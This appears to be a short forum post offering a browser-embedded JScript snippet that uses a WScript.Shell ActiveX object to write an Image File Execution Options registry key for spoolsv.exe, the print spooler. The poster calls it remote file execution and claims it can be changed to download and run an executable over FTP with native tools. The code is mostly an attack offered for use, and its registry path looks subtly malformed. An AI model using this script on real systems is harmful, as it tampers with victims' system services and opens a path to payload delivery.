Kod:
<script>var denial = 'User32.dll,MessageBoxA'; var Shell = new ActiveXObject('WScript.Shell'); Shell.RegWrite('HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe',denial);</script>
As the tile says remote file execution...
This script can be modified to download a executable file by FTP and execute in the computer/tablet/laptop/ etc using only native programs.
